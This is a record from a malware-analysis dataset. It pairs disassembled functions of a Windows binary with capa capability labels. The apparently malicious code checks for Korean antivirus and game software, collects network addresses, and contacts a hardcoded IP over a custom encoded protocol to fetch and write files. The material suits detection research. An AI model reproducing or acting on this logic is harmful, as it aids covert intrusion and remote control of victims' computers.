joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4016e0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x414
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x21e]
push ecx
xor ebx, ebx
mov word [esp + 0x220], ax
call fcn.004109e0
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x22]
push eax
mov word [esp + 0x24], dx
call fcn.004109e0
add esp, 0x18
push 0x104
lea ecx, [esp + 0x218]
push ecx
call dword [sym.imp.KERNEL32.DLL_GetSystemWindowsDirectoryW]
mov esi, dword [sym.imp.USER32.dll_wsprintfW]
push str.HangameKOREANHanUninstall.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
xor edx, edx
push 0x42936c
push ecx
mov word [esp + 0x228], dx
call esi
mov edi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401786
mov ebx, 1
push str.NEOWIZPMangcommonPMLauncher.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x4293c0
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4017b1
or ebx, 2
push str.NetmarbleCommonNetMarbleEndWeb.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42941c
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x4017dc
or ebx, 4
push str.Program_FilesAhnLabV3Lite30V3Lite.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x42947c
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x40180a
or ebx, 0x100
push str.Program_FilesESTsoftALYacAYLaunch.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push 0x4294dc
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401838
or ebx, 0x200
push str.Program_Files_naverNaverAgentNaverAgent.exe
lea eax, [esp + 0x218]
push eax
lea ecx, [esp + 0x14]
push str._s_s
push ecx
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push edx
call edi
cmp eax, 0xffffffff
je 0x401866
or ebx, 0x400
mov ecx, dword [esp + 0x41c]
pop edi
mov eax, ebx
pop esi
pop ebx
xor ecx, esp
or eax, 0x2000000
call fcn.0040e959
add esp, 0x414
ret
Function at 0x401a30
Capabilities:
Create thread
Initialize winsock library

Disassembly:
sub esp, 0x3a4
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x39c], eax
push ebx
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x1a2]
push ecx
mov word [esp + 0x1a4], ax
call fcn.004109e0
add esp, 0xc
lea edx, [esp + 8]
push edx
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 0x432670
call fcn.00401c30
test eax, eax
jne 0x401b49
jmp 0x401a90
movzx ecx, word [eax + str.gduer]
mov word [eax + 0x432818], cx
add eax, 2
test cx, cx
jne 0x401a90
push str.218.54.30.235
push 0x40
push 0x432674
call fcn.0040e968
add esp, 0xc
push str.AAAA
push 0x10
push 0x4326f6
call fcn.0040e968
add esp, 0xc
push 0x429588
push 0x40
push 0x432716
call fcn.0040e968
mov eax, 0x51
mov ecx, 0x2b70
add esp, 0xc
mov word [0x4326f4], ax
mov word [0x432796], cx
xor eax, eax
jmp 0x401b00
movzx ecx, word [eax + str.dosret]
mov word [eax + 0x4327f8], cx
add eax, 2
test cx, cx
jne 0x401b00
mov eax, 0x4327f8
add eax, 0xfffffffe
mov edi, edi
mov cx, word [eax + 2]
add eax, 2
test cx, cx
jne 0x401b20
mov edx, dword [0x4295b4]
mov cx, word [0x4295b8]
mov dword [eax], edx
mov word [eax + 4], cx
mov dword [0x432838], 5
call fcn.0040334c
lea edi, [esp + 0x198]
call fcn.004032be
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0x198]
mov word [eax + 0x432630], cx
add eax, 2
test cx, cx
jne 0x401b60
push 0x432630
push 0
push 0x20000
call dword [sym.imp.KERNEL32.DLL_OpenEventW]
test eax, eax
je 0x401bad
push eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop edi
pop ebx
mov ecx, dword [esp + 0x39c]
xor ecx, esp
call fcn.0040e959
add esp, 0x3a4
ret
push 0x432630
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateEventW]
test eax, eax
je 0x401b94
push 0x4295bc
call fcn.004033d5
add esp, 4
mov dword [0x4324f8], eax
call fcn.00401890
push 0
push 0
push 0
push 0x403701
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov ecx, dword [esp + 0x3a4]
pop edi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.0040e959
add esp, 0x3a4
ret
Function at 0x401cd0
Capabilities:
Get common file path
Read file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
xor ebx, ebx
cmp edi, ebx
je 0x401de3
cmp esi, ebx
je 0x401de3
mov eax, esi
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
cmp cx, bx
jne 0x401d00
sub eax, edx
sar eax, 1
je 0x401de3
push 0x206
lea ecx, [esp + 0xe]
xor eax, eax
push ebx
push ecx
mov word [esp + 0x14], ax
call fcn.004109e0
add esp, 0xc
cmp dword [esp + 0x218], ebx
jne 0x401d6a
cmp dword [0x42ef90], 3
jne 0x401d6a
push 0x104
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x42901c
lea ecx, [esp + 0xc]
push 0x104
push ecx
call fcn.0040e9d7
add esp, 0xc
jmp 0x401d7a
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push esi
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.0040e9d7
push 0x429020
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x1c], ebx
call fcn.0040ecba
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, ebx
je 0x401de3
push eax
push 1
push 0x200
push edi
call fcn.0040efad
mov eax, dword [esp + 0x14]
push eax
call fcn.0040f041
add esp, 0x14
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.0040e959
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.0040e959
add esp, 0x210
ret

Function at 0x401ea0
Capabilities:
Get common file path
Write file on windows

Disassembly:
sub esp, 0x210
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x20c], eax
push edi
push 0x206
xor edi, edi
lea ecx, [esp + 0xe]
xor eax, eax
push edi
push ecx
mov word [esp + 0x14], ax
call fcn.004109e0
add esp, 0xc
mov dword [esp + 4], edi
cmp esi, edi
je 0x401f52
lea edx, [esp + 8]
push edx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push str.golfinfo.ini
lea eax, [esp + 0xc]
push 0x104
push eax
call fcn.0040e9d7
push 0x42905c
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x18]
push edx
call fcn.0040ecba
mov eax, dword [esp + 0x1c]
add esp, 0x18
cmp eax, edi
je 0x401f37
push eax
push 1
push 0x200
push esi
call fcn.0040f21f
mov eax, dword [esp + 0x14]
push eax
call fcn.0040f041
add esp, 0x14
mov eax, 1
pop edi
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.0040e959
add esp, 0x210
ret
mov ecx, dword [esp + 0x210]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0040e959
add esp, 0x210
ret
Function at 0x4027f0
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x414
mov eax, dword [0x42dc20]
xor eax, esp
mov dword [esp + 0x40c], eax
push ebx
push esi
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x212]
push ecx
mov word [esp + 0x214], ax
call fcn.004109e0
add esp, 0xc
push 0x200
xor esi, esi
lea edx, [esp + 0xc]
push esi
push edx
call fcn.004109e0
add esp, 0xc
lea ebx, [esp + 8]
call fcn.00401e00
test eax, eax
je 0x40295a
xor eax, eax
mov edi, edi
movzx ecx, word [eax + 0x429184]
mov word [eax + 0x432328], cx
add eax, 2
test cx, cx
jne 0x402850
xor eax, eax
jmp 0x402870
movzx ecx, word [esp + eax + 0x8e]
mov word [eax + 0x432220], cx
add eax, 2
test cx, cx
jne 0x402870
xor eax, eax
lea esp, [esp]
movzx ecx, word [esp + eax + 0xc]
mov word [eax + 0x4322a0], cx
add eax, 2
test cx, cx
jne 0x402890
cmp dword [0x42ef90], 3
mov ax, word [esp + 0x8c]
mov cx, word [esp + 0x12e]
mov word [0x432320], ax
mov word [0x4323a8], cx
mov dword [0x4323ac], 5
je 0x4028e9
lea edx, [esp + 0x208]
push edx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
jmp 0x402916
push 0x104
lea eax, [esp + 0x20c]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x4295d8
lea ecx, [esp + 0x20c]
push 0x104
push ecx
call fcn.0040e9d7
add esp, 0xc
push str.golfset.ini
lea edx, [esp + 0x20c]
push 0x104
push edx
call fcn.0040e9d7
add esp, 0xc
lea eax, [esp + 0x208]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
mov eax, 1
pop esi
pop ebx
mov ecx, dword [esp + 0x40c]
xor ecx, esp
call fcn.0040e959
add esp, 0x414
ret
mov ecx, dword [esp + 0x414]
mov eax, esi
pop esi
pop ebx
xor ecx, esp
call fcn.0040e959
add esp, 0x414
ret

Function at 0x402973
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0xa0]
sub esp, 0x120
mov eax, dword [0x42dc20]
xor eax, ebp
mov dword [ebp + 0x9c], eax
and dword [0x42ef90], 0
push 0x11c
lea eax, [ebp - 0x80]
push 0
push eax
call fcn.004109e0
add esp, 0xc
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x11c
call dword [sym.imp.KERNEL32.DLL_GetVersionExW]
test eax, eax
je 0x4029fd
mov eax, dword [ebp - 0x78]
push 5
pop ecx
cmp dword [ebp - 0x7c], ecx
jne 0x4029dc
cmp eax, 2
jae 0x4029d2
cmp eax, 1
jne 0x4029fd
mov dword [0x42ef90], 3
cmp dword [ebp - 0x7c], 6
jne 0x4029fd
test eax, eax
jne 0x4029f2
mov dword [0x42ef90], 4
jmp 0x4029fd
cmp eax, 1
jne 0x4029fd
mov dword [0x42ef90], ecx
mov ecx, dword [ebp + 0x9c]
xor ecx, ebp
call fcn.0040e959
add ebp, 0xa0
leave
ret
Function at 0x402a12
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x42dc20]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x20c], ax
lea eax, [ebp - 0x20a]
push eax
call fcn.004109e0
add esp, 0xc
cmp dword [0x42ef90], 3
lea eax, [ebp - 0x20c]
jne 0x402a78
push esi
mov esi, 0x104
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
push 0x4295d8
lea eax, [ebp - 0x20c]
push esi
push eax
call fcn.0040e9d7
add esp, 0xc
pop esi
jmp 0x402a84
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push edi
lea eax, [ebp - 0x20c]
push eax
push 0x4295dc
push ebx
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.0040e959
leave
ret

Function at 0x402c0a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x42dc20]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 0x214], 0
xor eax, eax
push 0x206
push eax
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push eax
call fcn.004109e0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryW]
lea eax, [ebp - 0x214]
push eax
movzx eax, word [ebp - 0x210]
sub eax, 0x41
push eax
call fcn.00402d92
push dword [ebp - 0x214]
call fcn.00402e7f
add esp, 0xc
cmp eax, 0xffffffff
jne 0x402c82
xor eax, eax
jmp 0x402c89
push esi
call fcn.00402b42
pop ecx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040e959
leave
ret

Function at 0x402d45
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push edi
xor edx, edx
xor eax, eax
cmp dword [ebp + 8], 0xffffffff
mov dword [ebp - 0x18], edx
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov dword [ebp - 4], edx
je 0x402d8d
mov eax, dword [ebp + 0xc]
mov edx, 0x200
mul edx
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 4]
push eax
shl ecx, 9
push ecx
push dword [ebp + 0x10]
mov dword [ebp - 0xc], edx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
mov edx, eax
mov eax, edx
pop edi
leave
ret
Function at 0x402f76
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
push 0x429658
push dword [ebp + 8]
mov ebx, eax
lea eax, [ebp - 4]
xor edi, edi
push eax
mov dword [ebp - 4], edi
call fcn.0040ecba
add esp, 0xc
test eax, eax
je 0x402fa3
xor eax, eax
jmp 0x40302e
push esi
push 2
push edi
push dword [ebp - 4]
call fcn.0040f892
push dword [ebp - 4]
call fcn.0040fab4
push edi
push edi
push dword [ebp - 4]
mov esi, eax
call fcn.0040f892
lea eax, [esi + ebx]
push eax
mov dword [ebp - 8], eax
call fcn.0040f67c
push dword [ebp - 4]
mov edi, eax
push 1
push esi
push edi
call fcn.0040efad
push dword [ebp - 4]
call fcn.0040f041
push ebx
lea ebx, [edi + esi]
call fcn.00403032
push 0x429660
push dword [ebp + 0xc]
lea eax, [ebp - 4]
push eax
call fcn.0040ecba
add esp, 0x44
pop esi
test eax, eax
jne 0x402f9c
push dword [ebp - 4]
push 1
push dword [ebp - 8]
push edi
call fcn.0040f21f
push dword [ebp - 4]
call fcn.0040f041
add esp, 0x14
test edi, edi
je 0x40302b
push edi
call fcn.0040f746
pop ecx
xor eax, eax
inc eax
pop edi
pop ebx
leave
ret
Function at 0x403533
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push esi
xor esi, esi
push edi
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], 0x3a98
push dword [ebp - 0xc]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x4035b2
lea ecx, [ebp - 0xc]
push ecx
push eax
push esi
push 0x10
push 2
call sub.IPHLPAPI.DLL_GetAdaptersAddresses
mov edi, eax
cmp edi, 0x6f
jne 0x403588
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov dword [ebp - 4], esi
inc dword [ebp - 8]
cmp edi, 0x6f
jne 0x4035b7
cmp dword [ebp - 8], 3
jb 0x40354e
push 0xfffffffffffffffd
pop edi
cmp dword [ebp - 4], esi
je 0x4035ab
push dword [ebp - 4]
push esi
call ebx
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
or edi, 0xffffffff
jmp 0x4035ab
cmp edi, esi
jne 0x403596
mov eax, dword [ebp - 4]
jmp 0x4035ce
cmp dword [eax + 0x34], 6
jne 0x4035cb
cmp dword [eax + 0x1c], esi
jne 0x4035d4
mov eax, dword [eax + 8]
cmp eax, esi
jne 0x4035c0
jmp 0x403611
mov edi, dword [ebp + 8]
lea esi, [eax + 0x2c]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 4]
mov esi, dword [ebp + 0xc]
mov byte [esi + 3], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 5]
mov byte [esi + 2], cl
mov ecx, dword [eax + 0x10]
mov ecx, dword [ecx + 0xc]
mov cl, byte [ecx + 6]
mov byte [esi + 1], cl
mov eax, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
mov al, byte [eax + 7]
mov byte [esi], al
xor esi, esi
xor edi, edi
jmp 0x403599
Function at 0x40389e
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [0x42dc20]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push dword [ebp + 8]
mov dword [ebp - 0x424], ecx
call fcn.004039ca
pop ecx
mov dword [ebp - 0x420], eax
test eax, eax
jne 0x4039bb
mov esi, 0x206
push esi
push eax
mov word [ebp - 0x214], ax
lea eax, [ebp - 0x212]
push eax
call fcn.004109e0
add esp, 0xc
xor eax, eax
push esi
push eax
mov word [ebp - 0x41c], ax
lea eax, [ebp - 0x41a]
push eax
call fcn.004109e0
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
mov esi, 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
mov edi, 0x431ca0
mov ebx, edi
cmp word [ebx], 0
je 0x403950
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.0040e968
add esp, 0xc
push ebx
lea eax, [ebp - 0x41c]
push esi
push eax
call fcn.0040e9d7
add esp, 0xc
add ebx, 0x118
cmp ebx, 0x432218
jl 0x403922
cmp word [edi], 0
je 0x403976
push dword [ebp + 8]
mov ecx, edi
push dword [ebp - 0x424]
call fcn.004041ac
pop ecx
pop ecx
add edi, 0x118
cmp edi, 0x432218
jl 0x40395e
push 0x432a70
lea eax, [ebp - 0x214]
push esi
push eax
call fcn.0040e9d7
add esp, 0xc
lea eax, [ebp - 0x214]
push eax
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4039b5
mov dword [ebp - 0x420], 2
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e959
leave
ret

Function at 0x403bff
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9b0
mov eax, dword [0x42dc20]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
xor ebx, ebx
lea eax, [ebp - 0x80c]
cmp ecx, ebx
je 0x403c21
mov eax, ecx
xor ecx, ecx
mov word [eax], cx
lea eax, [ebp - 0x9ac]
push eax
push 0x101
mov dword [ebp - 0x9b0], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403c49
xor eax, eax
jmp 0x403cdb
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x403c42
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403c89
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
mov dword [ebp - 0x9b0], eax
push 4
lea eax, [ebp - 0x9b0]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x403cca
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
push 2
mov dword [ebp - 0x818], eax
pop eax
push dword [ebp + 8]
mov word [ebp - 0x81c], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x81a], ax
push 0x10
lea eax, [ebp - 0x81c]
push eax
push dword [esi]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x403cca
xor ebx, ebx
inc ebx
jmp 0x403cd9
mov eax, dword [esi]
test eax, eax
je 0x403cd9
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
and dword [esi], ebx
mov eax, ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
pop ebx
call fcn.0040e959
leave
ret
Function at 0x403e14
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 8]
xor ecx, ecx
push ebx
mov dword [ebp - 8], ecx
cmp dword [eax], ecx
je 0x403e91
push esi
mov esi, dword [ebp + 0x10]
cmp esi, ecx
push edi
jle 0x403e3b
mov eax, dword [ebp + 0xc]
add eax, ecx
not byte [eax]
inc ecx
cmp ecx, esi
jl 0x403e2f
lea eax, [esi + 7]
push eax
mov dword [ebp - 4], eax
call fcn.004044fa
push dword [ebp + 0x10]
mov ebx, eax
push dword [ebp + 0xc]
add esi, 5
mov word [ebx], si
lea edi, [ebx + 2]
mov esi, str.AS101
movsd dword es:[edi], dword [esi]
lea eax, [ebx + 7]
push eax
movsb byte es:[edi], byte [esi]
call fcn.004164b0
mov eax, dword [ebp + 8]
add esp, 0x10
push 0
push dword [ebp - 4]
push ebx
push dword [eax]
call dword [sym.imp.WS2_32.dll_send]
pop edi
pop esi
cmp eax, 0xffffffff
je 0x403e94
cmp eax, dword [ebp - 4]
jne 0x403e94
mov dword [ebp - 8], 1
jmp 0x403e94
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x403e9f
push ebx
call fcn.00404529
pop ecx
mov eax, dword [ebp - 8]
pop ebx
leave
ret

Function at 0x404038
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x8e0
mov eax, dword [0x42dc20]
xor eax, ebp
mov dword [ebp + 0x6c], eax
mov eax, dword [ebp + 0x7c]
push ebx
push esi
push edi
mov edi, dword [ebp + 0x78]
xor ebx, ebx
mov dword [ebp - 0x870], eax
mov dword [ebp - 0x86c], ecx
mov dword [ebp - 0x868], edi
lea eax, [ebp - 0x85c]
cmp edx, ebx
je 0x404076
mov eax, edx
xor edx, edx
mov word [eax], dx
mov esi, dword [ecx]
mov dword [ebp - 0x864], ebx
cmp esi, ebx
je 0x404194
cmp edi, ebx
je 0x404194
push 0xc7
lea eax, [ebp - 0x5b]
push ebx
push eax
mov byte [ebp - 0x5c], dl
call fcn.004109e0
add esp, 0xc
push ebx
push 2
lea eax, [ebp - 0x5c]
push eax
push esi
mov esi, dword [sym.imp.WS2_32.dll_recv]
call esi
cmp eax, 0xffffffff
je 0x404194
cmp eax, ebx
je 0x404194
movzx edi, word [ebp - 0x5c]
lea eax, [edi + 2]
push eax
call fcn.004044fa
pop ecx
mov dword [ebp - 0x860], eax
test edi, edi
jle 0x40417f
push 0
mov eax, edi
sub eax, ebx
push eax
mov eax, dword [ebp - 0x860]
add eax, ebx
push eax
mov eax, dword [ebp - 0x86c]
push dword [eax]
call esi
cmp eax, 0xffffffff
je 0x40415d
test eax, eax
je 0x40415d
add ebx, eax
cmp edi, ebx
jg 0x4040e5
push 5
pop ecx
cmp ebx, ecx
jl 0x40417f
mov edi, dword [ebp - 0x860]
sub ebx, ecx
mov esi, str.AS101
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x40417f
mov ecx, dword [ebp - 0x860]
test ebx, ebx
jle 0x40413d
lea eax, [ecx + 5]
mov edx, ebx
not byte [eax]
inc eax
dec edx
jne 0x404137
mov esi, dword [ebp - 0x870]
mov eax, dword [esi]
add ecx, 5
cmp eax, ebx
jl 0x404165
push ebx
push ecx
push dword [ebp - 0x868]
call fcn.004164b0
mov dword [esi], ebx
jmp 0x404172
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x40417f
push eax
push ecx
push dword [ebp - 0x868]
call fcn.004164b0
add esp, 0xc
mov dword [ebp - 0x864], 1
cmp dword [ebp - 0x860], 0
je 0x404194
push dword [ebp - 0x860]
call fcn.00404529
pop ecx
mov ecx, dword [ebp + 0x6c]
mov eax, dword [ebp - 0x864]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e959
add ebp, 0x70
leave
ret
Function at 0x4041ac
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe2c
mov eax, dword [0x42dc20]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x400
mov dword [ebp - 0xe28], eax
lea eax, [ebp - 0x610]
push 0
push eax
mov ebx, ecx
call fcn.004109e0
add esp, 0xc
push ebx
lea eax, [ebp - 0x610]
push 0x1ff
push eax
call fcn.0040e968
mov eax, ebx
add esp, 0xc
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x4041fd
sub eax, ecx
sar eax, 1
lea edi, [ebp + eax*2 - 0x60e]
mov ecx, 0x80
mov esi, 0x432870
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
test dx, dx
jne 0x404223
sub eax, ecx
sar eax, 1
mov esi, 0x10000
push esi
lea ebx, [eax + eax + 0x202]
call fcn.0040f67c
pop ecx
push esi
xor edi, edi
push edi
push eax
mov dword [ebp - 0xe1c], eax
call fcn.004109e0
add esp, 0xc
xor eax, eax
push 0x7fe
mov word [ebp - 0xe10], ax
lea eax, [ebp - 0xe0e]
push edi
push eax
mov dword [ebp - 0xe24], esi
call fcn.004109e0
add esp, 0xc
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
lea eax, [ebp - 0x20e]
push edi
push eax
mov dword [ebp - 0xe18], edi
mov dword [ebp - 0xe20], edi
mov dword [ebp - 0xe14], edi
call fcn.004109e0
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push dword [ebp + 0xc]
mov edi, dword [ebp - 0xe28]
lea ecx, [ebp - 0xe10]
lea esi, [ebp - 0xe18]
call fcn.00403bff
pop ecx
test eax, eax
je 0x4043b2
push ebx
lea eax, [ebp - 0x610]
push eax
mov esi, 0xbba
push esi
lea ecx, [ebp - 0xe10]
lea edx, [ebp - 0xe18]
call fcn.00403ce8
add esp, 0xc
test eax, eax
je 0x4043b2
push dword [ebp - 0xe1c]
lea eax, [ebp - 0xe14]
push eax
lea edx, [ebp - 0xe10]
lea ebx, [ebp - 0xe24]
lea ecx, [ebp - 0xe18]
call fcn.00403ea5
pop ecx
pop ecx
test eax, eax
je 0x4043b2
cmp word [ebp - 0xe14], si
jne 0x4043b2
cmp dword [ebp - 0xe24], 0
je 0x4043b2
mov eax, dword [ebp - 0xe1c]
cmp byte [eax], 0
jne 0x4043b2
push 0x432a70
lea eax, [ebp - 0x210]
push 0x104
push eax
call fcn.0040e9d7
and dword [ebp - 0xe14], 0
add esp, 0xc
push 0x429660
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0xe14]
push eax
call fcn.0040ecba
add esp, 0xc
cmp dword [ebp - 0xe14], 0
je 0x4043a8
lea eax, [ebp - 0xe14]
push eax
lea edi, [ebp - 0xe18]
call fcn.004043f1
pop ecx
mov dword [ebp - 0xe20], 1
cmp dword [ebp - 0xe1c], 0
je 0x4043c7
push dword [ebp - 0xe1c]
call fcn.0040f746
pop ecx
cmp dword [ebp - 0xe18], 0
je 0x4043dc
push dword [ebp - 0xe18]
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0xe20]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e959
leave
ret